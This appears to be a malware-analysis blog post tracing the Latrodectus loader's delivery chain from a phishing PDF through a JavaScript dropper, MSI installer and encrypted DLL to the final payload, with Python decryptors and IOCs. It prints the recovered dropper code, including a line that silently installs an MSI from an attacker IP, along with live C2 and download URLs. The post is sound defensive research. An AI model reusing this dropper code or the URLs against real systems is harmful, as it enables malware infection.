Latrodectus - Unweaving the Web

The emergence of Latrodectus, a sophisticated loader malware, garnered significant attention in the cybersecurity community after being highlighted by Proofpoint. Their analysis revealed an alarming overlap in infrastructure with the notorious IcedID malware. Additionally, the blog provided insights into Latrodectus's initial delivery methods and functionality.

A loader malware, also known as a dropper, is a type of malicious software designed to deliver and execute additional malware payloads onto a victim's system. Its primary function is to establish an initial foothold on the compromised system by facilitating the download and installation of other malicious components.

Initially, there was a misconception regarding the malware mentioned in Joshua Platt and Jason Reaves's blog, which suggested it was IcedID. However, this was promptly corrected by researcher @Myrtus0x0 in a tweet, confirming that the malware in question was actually Latrodectus, not IcedID. This tweet, highlighting the above blog, was made in response to @RussianPanda9xx's blog for eSentire titled "DanaBot's Latest Move: Deploying IcedID," which was subsequently renamed "DanaBot's Latest Move: Deploying Latrodectus" after the clarification.

Several months later, ongoing observation reveals alterations in certain aspects of the malware's delivery and loading mechanism. Despite these developments, no corresponding blog or publication has yet addressed these changes or the mechanism thoroughly.

The purpose of this blog is to fill the existing gap by conducting a comprehensive analysis of the delivery scheme of the malware, extending from its initial stages to the execution of the final payload. Additionally, the blog aims to decrypt the malware configuration once the final payload is reached. It's important to note that this analysis will not cover the functionality of the malware, as it has already received significant coverage across various blogs and online sources, with minimal changes noted during this analysis.

Previous iterations of Latrodectus primarily utilized typical phishing lures, with emails containing a visible malicious link, as detailed in Proofpoint's blog. Upon user interaction with the link, a chain of execution would ensue, culminating in the deployment of the malware onto the victim's host.

Figure 1: Initial phishing lures utilized by Latrodectus, as depicted on Proofpoint’s blog.

The initial delivery methods of the malware observed this year have evolved to incorporate legal threats of alleged copyright infringement. Originating from threat actors who complete contact forms on the target company's website, these emails contain both a malicious link and legal threats. This evolution in delivery methods is also covered by Proofpoint's blog.

Figure 2: An example of an email originating from a contact form, featuring a legal threat and a link to the malicious URL, as illustrated in Proofpoint's blog.

The most recent initial delivery chain of the Latrodectus malware, emphasized by researcher @Cryptolaemus1 in their recent tweet, will be the focal point of analysis in this blog.

Before delving into the analysis of the delivery chain, it's noteworthy that at the time of writing, only two blogs have provided partial insights into its intricacies of the initial delivery of the malware:

  1. Matthew’s blog, which elucidates the deobfuscation process of the JavaScript file.

  2. Proofpoint’s blog, offering theoretical explanations of the execution steps but lacking technical details regarding the execution chain.

Figure 3: Illustrates the latest delivery and execution chain of the Latrodectus malware.

Beginning the analysis, it is noted that the initial lure maintains consistency with prior descriptions. This method involves a phishing email containing a PDF file, often disguised as an invoice document.

Regrettably, due to the unavailability of publicly accessible data, we are unable to provide a copy of the email, as it is not accessible for reuse in the public domain.

Figure 4: Displays the PDF file included in the email.

Upon opening the PDF, the user encounters a counterfeit invoice obscured by a banner prompting the download of the document. This banner includes an embedded link to an external website.

Figure 5: Depicts the opened PDF file, showcasing the download banner and highlighting the embedded external link at the bottom left corner.

Upon visiting the link, users are redirected to a Cloudflare captcha page. Upon successful completion of the captcha, the JavaScript (JS) file is downloaded to the user's system.

Figure 6: Illustrates the downloaded malicious JavaScript (JS) file on the user's system.

Upon examination of the JavaScript (JS) file, it becomes apparent that the code contains significant obfuscation in the form of redundant or meaningless comments.

Figure 7: Displays the obfuscated JavaScript (JS) file.

Upon closer inspection of the code within the JavaScript (JS) file, certain sections are found to be uncommented. Leveraging this, we proceed to reconstruct the code.

Figure 8: Illustrates sections of the JavaScript (JS) file with uncommented code.

To search for all occurrences of lines within the document, we can use the regular expression:

^(?!//).*

This expression matches any line that does not start with "//".

Figure 9: Depicts the output from the document after applying the regex.

For reference, the contents of the malicious script are as follows:

var a = (function() {

    var b = new ActiveXObject("Scripting.FileSystemObject"),
        c = WScript.ScriptFullName,
        d = "";

    function e() {

        if (!b.FileExists(c)) return;

        var f = b.OpenTextFile(c, 1);

        while (!f.AtEndOfStream) {

            var g = f.ReadLine();

            if (g.slice(0, 4) === "////") d += g.substr(4) + "\n";

        }

        f.Close();
    }

    function h() {

        if (d !== "") {

            var i = new Function(d);

            i();

        }

    }

    return {

        j: function() {

            try {

                e();

                h();

            } catch (k) {}

        }

    };

})();


a.j();

The above JavaScript code is designed to dynamically load and execute additional JavaScript code embedded within the same file. It initializes variables, including an instance of the FileSystemObject for file system operations and variables to store the current script's path and accumulated additional code. The script then defines functions to read the script file line by line and extract lines prefixed with four forward slashes, containing additional JavaScript code. Another function executes the accumulated code if it exists. Finally, the script returns an object with a method to trigger the execution process.

Given that the script specifically targets lines with four slashes, we can employ the following regular expression to extract these lines from the file:

^////.*

This expression matches any line that starts with "////".

Figure 10: Depicts the output from the document after applying the regex.

For reference, the contents of the malicious script are as follows:

function installFromURL() {
    var installer;
    var msiPath;
    try {
        installer = new ActiveXObject("WindowsInstaller.Installer");
        installer.UILevel = 2;
        msiPath = "http://146.19.106.236/neo.msi";
        installer.InstallProduct(msiPath);
    } catch (e) {

    }
}

installFromURL();

The above JavaScript code defines a function called installFromURL(), which is intended to install a software package from a specified URL. Within this function, it attempts to create an instance of the Windows Installer COM object using the ActiveXObject constructor. If successful, it sets the user interface level to 2, indicating a reduced or silent installation mode. The variable msiPath is then assigned the URL pointing to the location of the software package to be installed. Finally, the InstallProduct() method of the Windows Installer object is invoked with the URL (msiPath) as the argument, initiating the installation process. However, in the event of any errors occurring during the installation process, the catch block remains empty, suggesting that no error handling or logging mechanisms are implemented.

For analysis purposes, the MSI file mentioned in the code has been manually downloaded.

Figure 11: Displays the downloaded MSI file.

Upon examining the MSI file in Orca or Advanced Installer and navigating to the Custom Actions parameter, we observe the command-line that will execute after the installation of the MSI file.

Figure 12: Illustrates the command line that will be executed post-installation.

To view these files without installing the MSI, we can use 7-Zip to extract the relevant files and inspect them further.

Figure 13: Displays the contents of the MSI file when opened in 7-Zip.

We can proceed with extracting only the two mentioned files, as they were referenced in the LaunchFile property. Typically, the cabinet file contains the files that will be dropped by the MSI during installation, so the DLL file is expected to be within the .cab file.

Figure 14: Depicts the files obtained after extracting the selected files from the MSI installer and then further extracting the .cab file.

Upon verifying the SHA-256 hash and examining the Binary.viewer.exe file in VirusTotal, it is evident that this file is associated with Advanced Installer and is also signed by Advanced Installer.

Figure 15: Depicts the SHA-256 hash of the Binary.viewer.exe file.

Binay.viewer.exe also known as viewer.exe is a component of Advanced Installer utilized in cases where custom actions are defined to execute pre-defined command lines.

For further analysis, we will not need to examine viewer.exe, as its role involves launching rundll32.exe with the malicious DLL file dropped by the installer and invoking the homi function within. Instead, we can directly analyze the homi export function within the DLL file to gain insight into the intended operation of the DLL file.

Upon opening the DLL file in Binary Ninja and navigating to the export function, the following code block is observed.

Figure 15: Displays the listing of the homi function in Binary Ninja.

Initially, the function name of the function called within the homi function was generic; however, during analysis, it was determined that this function performs decryption. Consequently, it has been renamed to the decryption_function.

Below is the listing of the decryption_function as depicted by Binary Ninja.

Figure 16: Displays the listing of the decryption_function, with the important aspects of the function highlighted.

In the above function, the var_28 location is initially populated with the highlighted decryption string. Subsequently, memory allocation occurs, followed by a loop that sets the value at the memory location from 00 to FF until 0x5f5e100 bytes. Following this, rdx is initialized to a value (currently unknown), while r10 is set to 2 and r9 is assigned a value from the data section of the binary.

The variable i_2 is set to 0x190, and a decryption routine is executed 0x190 times. During each iteration, r9 is incremented by 5, and the values at r9-6 (highlighted as 2d on the right) are XORed with the characters of the decryption string stored in var_28.

Upon completing the decryption process, the rdx value is used to generate the start address of the decrypted function (highlighted as 2d on the right), which is subsequently called with the argument 0x1800ac0e8.

Effectively, during the entire execution of the decryption loop, a total of 0x190 * 5 bytes are XORed, as each iteration of the decryption routine XORs 5 bytes.

Manually performing this operation using CyberChef, the decrypted shellcode that would be executed, is generated and saved as loader.bin for further analysis.

Figure 17: Illustrates the manually generated loader.bin file.

Before proceeding with the analysis of the loader, it is crucial to comprehend the argument of the function. The argument value corresponds to a section of data located in the .rsrc section of the binary.

Figure 18: Displays the .rsrc section on the right, highlighting the first byte pointed by the argument, with the argument itself highlighted on the left.

The loader is tasked with iterating through the Process Environment Block (PEB), resolving Windows API functions such as VirtualAlloc, LoadLibraryA, and GetProcAddress. It then calls VirtualAlloc to allocate memory. Subsequently, it utilizes the XOR key — the same one previously listed — to XOR the data at the program location argument, which corresponds to the location of the data in the .rsrc section previously displayed. This XOR operation is performed for 0x11400 bytes, resulting in the creation of a PE file in memory. The remainder of the loader shellcode focuses on mapping the resultant PE file in memory and executing it.

Figure 19: Illustrates the listing of the loader.bin file, with the important aspects of the function highlighted.

I have written a Python program to replicate this process without utilizing the loader.bin binary. Instead, it directly dumps the resulting binary mentioned in the above process from the initially launched DLL file. The code is as follows:

import re

def xor_bytes(bytes1, bytes2):
    return bytes(a ^ b for a, b in zip(bytes1, bytes2))

def main():
    # Define the key
    key = bytes.fromhex("65 64 6d 4f 42 74 69 75 64 66 29 4f 5a 6f 24 4c 42 2b 00")
    
    # Read the entire file
    with open("mbaeapina.dll", "rb") as file:
        data = file.read()
        
        # Find the program section start
        program_section_start = bytes.fromhex("283EFD4F417469756066294FA59024")
        program_index = data.find(program_section_start)
        
        if program_index != -1:
            # Extract the program section
            program_section = data[program_index: program_index + 0x11400]

            # Read every byte
            program_section = program_section[::1]

            print("Program Section Length:", len(program_section))

            # Repeat the key to match the length of the program section
            repeated_key = (key * (len(program_section) // len(key) + 1))[:len(program_section)]

            # Perform XOR operation
            output = xor_bytes(program_section, repeated_key)

            # Write the output to "decrypted_payload.bin"
            with open("latro_dumped.bin", "wb") as output_file:
                output_file.write(output)
            
        else:
            print("Program section not found in the file.")

if __name__ == "__main__":
    main()

The above Python code is responsible for identifying the location in the .rsrc section of the DLL file where the final PE file is crafted from. It XORs this data with the specified key and generates the final output binary.

The resulting output file is saved as latro_dumped.bin for further analysis.

Figure 20: Displays the output PE file generated by executing the Python code.

Upon opening this file in Binary Ninja, it is observed that the _start function invokes two functions. The first function is responsible for loading the DLL file into memory from a data location, while the second function is responsible for executing it using the export function scub. It is worth mentioning that these functions have been renamed after analysis and originally had generic names.

Figure 21: Illustrates the listing of the _start function in the output binary.

Upon copying this binary and dumping it separately into a .bin file, we obtain latro_dumped_1.bin.

Figure 22: Depicts the PE file present in the data section referenced in the function call.

Figure 23: Depicts the manually created latro_dumped_1.bin file.

Upon opening this new file in Binary Ninja, we are unable to locate the export function scub.

Figure 24: Illustrates that no export symbol "scub" was found by Binary Ninja.

Upon examination of the file in PE-Bear, it becomes apparent that the file contains multiple export function definitions, all sharing the same function RVA but having different name RVAs. This indicates that the names are located in different locations, while they all share the same function address.

Figure 25: Displays the different export function names sharing the same function RVA in PE-Bear.

Searching for the function extra under symbols, we observe that it is listed in Binary Ninja.

Figure 26: Illustrates Binary Ninja's listing of the "extra" function.

This binary represents the final Latrodectus binary, and therefore, we will not conduct any further analysis as it has already been covered by multiple articles. However, we will examine the string decryption function.

Figure 27: Illustrates the string decryption function in the final Latrodectus binary.

The function is tasked with XORing each byte from the 6th position onward at the memory location with a corresponding value to generate the decrypted strings. Specifically, it XORs byte 6 with 0x7F, byte 7 with 0x80, byte 8 with 0x81, and so forth. Notably, in all instances, the 6th byte consistently commences after byte 0xD0 in the data section.

I've developed the following Python program to statically decrypt the strings from the binary. The code is as follows:

def decrypt_byte_string(byte_string):
    decrypted_string = b''
    for i, byte in enumerate(byte_string):
        decrypted_byte = byte ^ (0x7f + i) % 256
        decrypted_string += bytes([decrypted_byte])
    try:
        decoded_string = decrypted_string.decode('utf-8', errors='ignore')
    except UnicodeDecodeError:
        decoded_string = decrypted_string.decode('utf-16', errors='ignore').encode('utf-8', errors='ignore').decode('utf-8', errors='ignore')
    return decoded_string.replace('\x00', '')


def main():
    offset = 0xCE00
    length = 0x1600

    with open('latro_dumped.bin', 'rb') as f:
        f.seek(offset)
        binary_data = f.read(length)

    byte_strings = []
    current_byte_string = b''
    recording = False

    for byte in binary_data:
        if byte == 0xD0:
            recording = True
            current_byte_string = b''
        elif byte == 0x00 and recording:
            recording = False
            if current_byte_string:
                byte_strings.append(current_byte_string)
        elif recording:
            current_byte_string += bytes([byte])

    with open('decrypted_strings.txt', 'w', encoding='utf-8', errors='ignore') as f:
        for byte_string in byte_strings:
            decrypted_string = decrypt_byte_string(byte_string)
            f.write(decrypted_string + '\n')


if __name__ == "__main__":
    main()

The above code executes the same process as outlined in the simplified explanation provided for the string decryption function above.

Below are the decrypted strings generated by executing the above Python code.

Figure 28: Displays a listing of some of the decrypted strings.

This concludes my analysis of the Latrodectus malware.


IOCs

The indicators mentioned here are based on the analysis conducted by me and do not include any externally referenced indicators.

Name IOC Type
04-25-Inv-Doc-339.pdf ce4372ea002fca274c16b40792e074e3 MD5
Document_a51_19i793302-14b09981a5569-3684u8.js b5c04c9ce0a3da2e16e97632e13b5e28 MD5
neo.msi 3703f47cfa7ce06c14374f173c68daf0 MD5
Cleaned JS Script 1 aba421e140aed4d89e49056f40a4decd MD5
Cleaned JS Script 2 0a98a46c18b91a2af8b17719772002ce MD5
mbaeapina.dll f46e75eb89214e2fbb850b9d29b9f515 MD5
loader.bin (Decrypted Shellcode) afc0008dfc3340d4bd4e8eb530078ffe MD5
latro_dumped.bin (Decrypted DLL Loader) d32db5208d83134ba5c8d6b8c8289aeb MD5
latro_dumped_1.bin (Decrypted Latrodectus Binary) be952f54796fc84f2c9275fee416fc4f MD5
PDF Redirect URL https://stgmountainair.wpengine.com/wp-content/plugins/user-private-files/shared/ URL
MSI Download URL http://146.19.106.236/neo.msi URL
C2 https://titnovacrion.top/live/ URL
C2 https://skinnyjeanso.com/live/ URL
Saptarshi Laha

I'm a passionate Threat Intelligence Analyst based in Ireland, delving deep into the fascinating realms of Reverse Engineering and Malware Analysis. With a keen eye for dissecting malicious code and navigating Capture The Flag challenges, I guide you through virtual mazes of cryptographic puzzles and real-world malware samples, sharing insights and strategies for navigating the cybersecurity landscape.

https://BinHex.Ninja
Previous
Previous

Shell Shocked: The Oyster Backdoor Update

Next
Next

Koi Loader/Stealer - Part 1